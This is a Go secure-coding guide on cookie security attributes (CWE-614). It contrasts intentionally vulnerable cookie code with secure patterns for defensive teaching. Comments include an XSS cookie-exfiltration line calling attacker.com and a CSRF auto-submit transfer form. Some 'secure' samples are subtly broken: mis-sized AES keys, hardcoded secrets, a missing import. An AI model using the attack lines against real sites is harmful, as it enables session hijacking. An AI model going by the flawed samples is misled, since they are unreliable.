CWE-614: Sensitive Cookie Without Secure Attribute - Go
Overview
Sensitive cookie security vulnerabilities in Go applications occur when authentication cookies, session tokens, or other sensitive data stored in cookies lack proper security attributes, exposing them to interception, tampering, or unauthorized access. HTTP cookies are a primary mechanism for maintaining session state in web applications, making cookie security critical. Go's http.SetCookie() function sets cookies but provides no default security attributes - developers must explicitly configure Secure, HttpOnly, and SameSite flags.
The Secure flag ensures cookies are only transmitted over HTTPS, preventing interception on insecure networks. Without it, session cookies sent over HTTP can be captured by attackers performing man-in-the-middle attacks (coffee shop WiFi, compromised routers, ISP surveillance). The HttpOnly flag prevents JavaScript access to cookies, mitigating XSS-based session theft. SameSite prevents cookies from being sent with cross-site requests, defending against CSRF attacks. Domain and Path attributes control where cookies are sent, with overly broad scopes enabling subdomain attacks.
Additional risks include excessive cookie lifetimes (long MaxAge or far-future Expires), storing sensitive data unencrypted in cookies, missing signature/integrity protection allowing cookie tampering, and incorrect domain settings enabling cookie theft via related domains. Cookies containing personally identifiable information (PII), authentication tokens, or business-critical data without encryption and integrity protection violate data protection regulations (GDPR, CCPA).
Primary Defence: Set Secure: true, HttpOnly: true, and SameSite: http.SameSiteStrictMode (or Lax) on all authentication and session cookies. Use short lifetimes (MaxAge of hours, not days/weeks). Sign cookies with HMAC or use authenticated encryption for sensitive data. Limit Domain and Path scope appropriately.
Common Vulnerable Patterns
Missing Secure Flag
// VULNERABLE - Cookie without Secure flag
package main
import (
"net/http"
"time"
)
func loginHandler(w http.ResponseWriter, r *http.Request) {
username := r.FormValue("username")
password := r.FormValue("password")
if authenticate(username, password) {
sessionID := generateSessionID()
// DANGEROUS: Missing Secure flag
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
Path: "/",
MaxAge: 3600,
HttpOnly: true,
// Missing: Secure: true
})
http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
}
}
// ATTACK:
// 1. User authenticates over HTTPS, receives session cookie
// 2. User clicks link to http:// page (accidentally or via attacker link)
// 3. Browser sends session cookie over unencrypted HTTP
// 4. Attacker on network captures cookie
// 5. Attacker hijacks session
Why this is vulnerable: Without Secure: true, browsers send cookies over both HTTP and HTTPS connections. Even if the application is HTTPS-only, mixed content (loading HTTP resources), user typos (typing http:// instead of https://), or attacker-controlled links can trigger HTTP requests. The browser automatically includes cookies in these requests, sending the session token in cleartext. Attackers on the network path (public WiFi, compromised router, malicious ISP) capture the cookie and gain full session access. Always set Secure: true for sensitive cookies.
Missing HttpOnly Flag
// VULNERABLE - JavaScript-accessible session cookie
func createSession(w http.ResponseWriter, userID string) {
sessionToken := generateToken()
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
Secure: true,
// Missing: HttpOnly: true
})
}
// ATTACK (via XSS):
// <script>
// fetch('https://attacker.com/steal?cookie=' + document.cookie);
// </script>
// Attacker steals session cookie and hijacks user account
Why this is vulnerable: Without HttpOnly: true, JavaScript can read cookies via document.cookie. If the application has any XSS vulnerability (reflected XSS, stored XSS, DOM-based XSS), attackers inject JavaScript that exfiltrates session cookies to attacker-controlled servers. The attacker then uses the stolen session to impersonate the user. HttpOnly provides defense-in-depth - even if XSS vulnerabilities exist, session cookies remain protected. There's no legitimate reason for client-side JavaScript to access authentication cookies.
Missing SameSite Attribute
// VULNERABLE - No CSRF protection via SameSite
func setSessionCookie(w http.ResponseWriter, session string) {
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: session,
Secure: true,
HttpOnly: true,
// Missing: SameSite
})
}
// ATTACK (CSRF):
// Attacker creates malicious site with:
// <form action="https://victim-site.com/transfer" method="POST">
// <input name="amount" value="10000">
// <input name="to_account" value="attacker">
// </form>
// <script>document.forms[0].submit();</script>
//
// When victim visits attacker site, browser sends session cookie
// Form submits, transfers money to attacker
Why this is vulnerable: Without SameSite, browsers send cookies with cross-site requests (requests initiated from other domains). Attackers create malicious sites with forms or JavaScript that trigger requests to the victim application. The browser automatically includes session cookies, allowing the attacker to perform actions as the authenticated user (CSRF attacks). SameSite=Strict prevents cookies on all cross-site requests. SameSite=Lax allows cookies on top-level GET navigations but blocks POST/PUT/DELETE, providing CSRF protection while preserving legitimate cross-site links.
Overly Long Cookie Lifetime
// VULNERABLE - Excessive cookie lifetime
func createLongLivedSession(w http.ResponseWriter, userID string) {
sessionToken := generateToken()
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
Path: "/",
MaxAge: 86400 * 365, // DANGEROUS: 1 year
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
})
}
// RISKS:
// 1. If cookie is stolen, attacker has access for up to 1 year
// 2. User logs out but cookie remains valid until expiry
// 3. Shared/public computers retain logged-in sessions
// 4. Harder to detect and revoke compromised sessions
Why this is vulnerable: Long-lived sessions increase the window of opportunity for session theft. If a cookie is stolen (XSS, network interception before HTTPS, malware), attackers have access for the entire MaxAge period. Users expect logout to end sessions, but client-side cookie expiry doesn't invalidate server-side sessions. On shared computers, long-lived cookies allow subsequent users to access accounts. Shorter lifetimes (1-24 hours) limit exposure - stolen cookies expire quickly, and server-side session validation can detect suspicious activity. For "remember me" functionality, use separate long-lived refresh tokens with additional security checks.
Insecure Domain Scope
// VULNERABLE - Overly broad domain scope
func setCookieWrongDomain(w http.ResponseWriter, token string) {
http.SetCookie(w, &http.Cookie{
Name: "auth_token",
Value: token,
Domain: ".example.com", // DANGEROUS: Accessible to all subdomains
Path: "/",
Secure: true,
HttpOnly: true,
})
}
// ATTACK:
// If any subdomain of example.com is compromised:
// - attacker.example.com (attacker-registered subdomain)
// - old-app.example.com (legacy app with vulnerabilities)
// - staging.example.com (dev environment with weak security)
// Attacker can read/steal auth_token cookie
Why this is vulnerable: Setting Domain to a parent domain (.example.com) makes cookies accessible to all subdomains. If any subdomain is compromised (vulnerable legacy application, attacker-controlled subdomain, development environment with weak security), the auth cookie is exposed. Attackers can register subdomains if DNS is misconfigured, or exploit vulnerabilities in other applications on subdomains. The cookie is sent to all subdomains automatically, including those the developer isn't aware of. Unless subdomain sharing is explicitly required, omit the Domain attribute (defaults to exact host match) or set it to the specific subdomain.
Secure Patterns
Properly Secured Session Cookie
// SECURE - Session cookie with all security attributes
package main
import (
"crypto/rand"
"encoding/base64"
"io"
"net/http"
"time"
)
func generateSecureSessionID() (string, error) {
bytes := make([]byte, 32)
if _, err := io.ReadFull(rand.Reader, bytes); err != nil {
return "", err
}
return base64.URLEncoding.EncodeToString(bytes), nil
}
func createSecureSession(w http.ResponseWriter, userID string) error {
sessionID, err := generateSecureSessionID()
if err != nil {
return err
}
// Store session server-side
storeSession(sessionID, userID)
// SECURE: Session cookie with all security attributes
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
Path: "/",
MaxAge: 3600, // 1 hour
Secure: true, // HTTPS only
HttpOnly: true, // No JavaScript access
SameSite: http.SameSiteStrictMode, // CSRF protection
// Domain not set - defaults to exact host match
})
return nil
}
func storeSession(sessionID, userID string) {
// Implementation: Redis, database, etc.
}
func authenticate(username, password string) bool {
return true
}
func generateSessionID() string {
return "session_123"
}
func generateToken() string {
return "token_123"
}
Why this works: All security attributes are set correctly. Secure: true prevents transmission over HTTP. HttpOnly: true blocks JavaScript access, mitigating XSS-based theft. SameSite: http.SameSiteStrictMode prevents CSRF attacks by not sending cookies with cross-site requests. MaxAge: 3600 limits session lifetime to 1 hour, reducing exposure window. Path: "/" scopes cookie to entire application. Domain is omitted, defaulting to exact hostname match (most secure). The session ID is cryptographically random with high entropy. Session data is stored server-side, with only the random ID in the cookie.
SameSite=Lax for Better UX
// SECURE - SameSite=Lax for link compatibility
func createSessionWithLax(w http.ResponseWriter, userID string) error {
sessionID, err := generateSecureSessionID()
if err != nil {
return err
}
storeSession(sessionID, userID)
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
Path: "/",
MaxAge: 7200, // 2 hours
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteLaxMode, // Allow top-level navigation
})
return nil
}
Why this works: SameSite=Lax provides CSRF protection while allowing cookies on top-level GET requests (clicking links from external sites). This prevents the most common CSRF attacks (POST forms) while not breaking legitimate cross-site navigation. Users clicking email links or bookmarks can access authenticated pages. State-changing operations (POST, PUT, DELETE) still require CSRF tokens since cookies aren't sent with those cross-site requests. Lax is a good balance between security and usability for most applications. Use Strict for high-security applications where cross-site navigation isn't needed.
Signed Cookie for Data Integrity
// SECURE - Signed cookie to prevent tampering
import (
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"net/http"
"strings"
"time"
)
var cookieSecret = []byte("your-secret-key-minimum-32-bytes-long")
type UserData struct {
UserID string `json:"user_id"`
Username string `json:"username"`
IssuedAt time.Time `json:"issued_at"`
}
func createSignedCookie(w http.ResponseWriter, userData *UserData) error {
// Serialize user data
data, err := json.Marshal(userData)
if err != nil {
return err
}
// Base64 encode
encoded := base64.URLEncoding.EncodeToString(data)
// SECURE: Generate HMAC signature
mac := hmac.New(sha256.New, cookieSecret)
mac.Write([]byte(encoded))
signature := base64.URLEncoding.EncodeToString(mac.Sum(nil))
// Combine: data.signature
cookieValue := encoded + "." + signature
http.SetCookie(w, &http.Cookie{
Name: "user_data",
Value: cookieValue,
Path: "/",
MaxAge: 3600,
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
})
return nil
}
func verifySignedCookie(r *http.Request) (*UserData, error) {
cookie, err := r.Cookie("user_data")
if err != nil {
return nil, err
}
// Split data and signature
parts := strings.Split(cookie.Value, ".")
if len(parts) != 2 {
return nil, fmt.Errorf("invalid cookie format")
}
encoded, providedSig := parts[0], parts[1]
// SECURE: Verify HMAC signature
mac := hmac.New(sha256.New, cookieSecret)
mac.Write([]byte(encoded))
expectedSig := base64.URLEncoding.EncodeToString(mac.Sum(nil))
// Constant-time comparison
if !hmac.Equal([]byte(expectedSig), []byte(providedSig)) {
return nil, fmt.Errorf("signature verification failed")
}
// Decode data
data, err := base64.URLEncoding.DecodeString(encoded)
if err != nil {
return nil, err
}
// Unmarshal
var userData UserData
if err := json.Unmarshal(data, &userData); err != nil {
return nil, err
}
// Check expiry
if time.Since(userData.IssuedAt) > time.Hour {
return nil, fmt.Errorf("cookie expired")
}
return &userData, nil
}
Why this works: HMAC-SHA256 signature ensures cookie integrity - any tampering invalidates the signature. Users cannot modify data (like changing user_id to access other accounts) without the secret key. The signature is verified using constant-time comparison to prevent timing attacks. Including IssuedAt timestamp enables server-side expiration checks beyond browser MaxAge. This pattern allows storing limited data client-side while maintaining security. The secret key must be stored securely (environment variable, secrets manager). For sensitive data, use authenticated encryption instead of just signing.
Encrypted Cookie for Sensitive Data
// SECURE - Encrypted cookie for sensitive data
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"net/http"
)
var encryptionKey = []byte("32-byte-key-for-AES-256-change-this!")
func createEncryptedCookie(w http.ResponseWriter, data []byte) error {
// SECURE: Encrypt with AES-256-GCM
block, err := aes.NewCipher(encryptionKey)
if err != nil {
return err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return err
}
// Encrypt and authenticate
ciphertext := gcm.Seal(nonce, nonce, data, nil)
// Encode for cookie
encoded := base64.URLEncoding.EncodeToString(ciphertext)
http.SetCookie(w, &http.Cookie{
Name: "encrypted_data",
Value: encoded,
Path: "/",
MaxAge: 3600,
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
})
return nil
}
func readEncryptedCookie(r *http.Request) ([]byte, error) {
cookie, err := r.Cookie("encrypted_data")
if err != nil {
return nil, err
}
// Decode
ciphertext, err := base64.URLEncoding.DecodeString(cookie.Value)
if err != nil {
return nil, err
}
// Decrypt
block, err := aes.NewCipher(encryptionKey)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
// SECURE: Decrypt and verify authentication tag
plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, fmt.Errorf("decryption failed: %w", err)
}
return plaintext, nil
}
Why this works: AES-256-GCM provides both confidentiality (encryption) and integrity (authentication). Cookie contents are completely hidden from users - they cannot read or modify the data. The authentication tag prevents tampering - any modification causes decryption to fail. Random nonces ensure identical data encrypts to different ciphertexts each time. This is essential for PII, sensitive business data, or any information that must remain confidential even if cookies are intercepted. The encryption key must be 32 bytes, stored securely, and rotated periodically.
Remember Me Token with Additional Security
// SECURE - Remember me token with device binding
import (
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"io"
"net/http"
"time"
)
type RememberMeToken struct {
TokenHash string
UserID string
DeviceHash string
CreatedAt time.Time
ExpiresAt time.Time
}
func createRememberMeToken(w http.ResponseWriter, r *http.Request, userID string) error {
// Generate secure random token
tokenBytes := make([]byte, 32)
if _, err := io.ReadFull(rand.Reader, tokenBytes); err != nil {
return err
}
token := base64.URLEncoding.EncodeToString(tokenBytes)
// SECURE: Bind to device characteristics
deviceFingerprint := r.UserAgent() + r.RemoteAddr
deviceHash := sha256.Sum256([]byte(deviceFingerprint))
// Hash token before storing
tokenHash := sha256.Sum256([]byte(token))
// Store in database
rememberMe := &RememberMeToken{
TokenHash: base64.URLEncoding.EncodeToString(tokenHash[:]),
UserID: userID,
DeviceHash: base64.URLEncoding.EncodeToString(deviceHash[:]),
CreatedAt: time.Now(),
ExpiresAt: time.Now().Add(30 * 24 * time.Hour), // 30 days
}
storeRememberMeToken(rememberMe)
// SECURE: Set long-lived cookie with security attributes
http.SetCookie(w, &http.Cookie{
Name: "remember_me",
Value: token,
Path: "/",
MaxAge: 30 * 86400, // 30 days
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteLaxMode,
})
return nil
}
func validateRememberMeToken(r *http.Request) (string, error) {
cookie, err := r.Cookie("remember_me")
if err != nil {
return "", err
}
// Hash provided token
tokenHash := sha256.Sum256([]byte(cookie.Value))
tokenHashStr := base64.URLEncoding.EncodeToString(tokenHash[:])
// Lookup in database
rememberMe := getRememberMeToken(tokenHashStr)
if rememberMe == nil {
return "", fmt.Errorf("invalid token")
}
// Check expiry
if time.Now().After(rememberMe.ExpiresAt) {
deleteRememberMeToken(tokenHashStr)
return "", fmt.Errorf("token expired")
}
// SECURE: Verify device fingerprint
deviceFingerprint := r.UserAgent() + r.RemoteAddr
deviceHash := sha256.Sum256([]byte(deviceFingerprint))
deviceHashStr := base64.URLEncoding.EncodeToString(deviceHash[:])
if deviceHashStr != rememberMe.DeviceHash {
// Device mismatch - possible token theft
deleteRememberMeToken(tokenHashStr)
return "", fmt.Errorf("device mismatch")
}
return rememberMe.UserID, nil
}
func storeRememberMeToken(token *RememberMeToken) {}
func getRememberMeToken(hash string) *RememberMeToken { return nil }
func deleteRememberMeToken(hash string) {}
Why this works: Remember me tokens are long-lived (30 days) but have additional security measures. Tokens are hashed before database storage (like passwords), protecting against database breaches. Device fingerprinting (User-Agent + IP) provides weak binding - tokens only work from the same device/network, limiting theft impact. Tokens are single-use or rotated periodically in production. Server-side expiry checking ensures tokens can be revoked. This balances convenience (users stay logged in) with security (limited exposure if tokens are stolen). For high-security applications, consider using refresh tokens with shorter-lived access tokens instead.
Framework-Specific Guidance
Gorilla Sessions Secure Configuration
// SECURE - Gorilla sessions with security best practices
package main
import (
"net/http"
"github.com/gorilla/sessions"
)
var store *sessions.CookieStore
func init() {
// SECURE: Use strong random keys
authKey := []byte("authentication-key-32-bytes-long!") // HMAC key
encKey := []byte("encryption-key-also-32-bytes-long!") // AES-256 key
store = sessions.NewCookieStore(authKey, encKey)
// SECURE: Configure session options
store.Options = &sessions.Options{
Path: "/",
MaxAge: 3600, // 1 hour
Secure: true, // HTTPS only
HttpOnly: true, // No JavaScript
SameSite: http.SameSiteStrictMode, // CSRF protection
}
}
func loginWithGorillaHandler(w http.ResponseWriter, r *http.Request) {
session, err := store.Get(r, "session-name")
if err != nil {
http.Error(w, "Session error", http.StatusInternalServerError)
return
}
// SECURE: Store user ID in encrypted, signed session
session.Values["user_id"] = "user123"
session.Values["authenticated"] = true
// Save session
if err := session.Save(r, w); err != nil {
http.Error(w, "Failed to save session", http.StatusInternalServerError)
return
}
w.Write([]byte("Logged in"))
}
Why this works: Gorilla sessions provides automatic cookie encryption (AES) and signing (HMAC) when both keys are provided. The authKey (32+ bytes) signs cookies to detect tampering. The encKey (16, 24, or 32 bytes for AES) encrypts cookie contents. store.Options sets security attributes globally for all sessions. Session data is stored encrypted in cookies, preventing client-side reading or modification. Keys must be stored securely (environment variables) and rotated periodically. This provides secure client-side session storage without a backend store.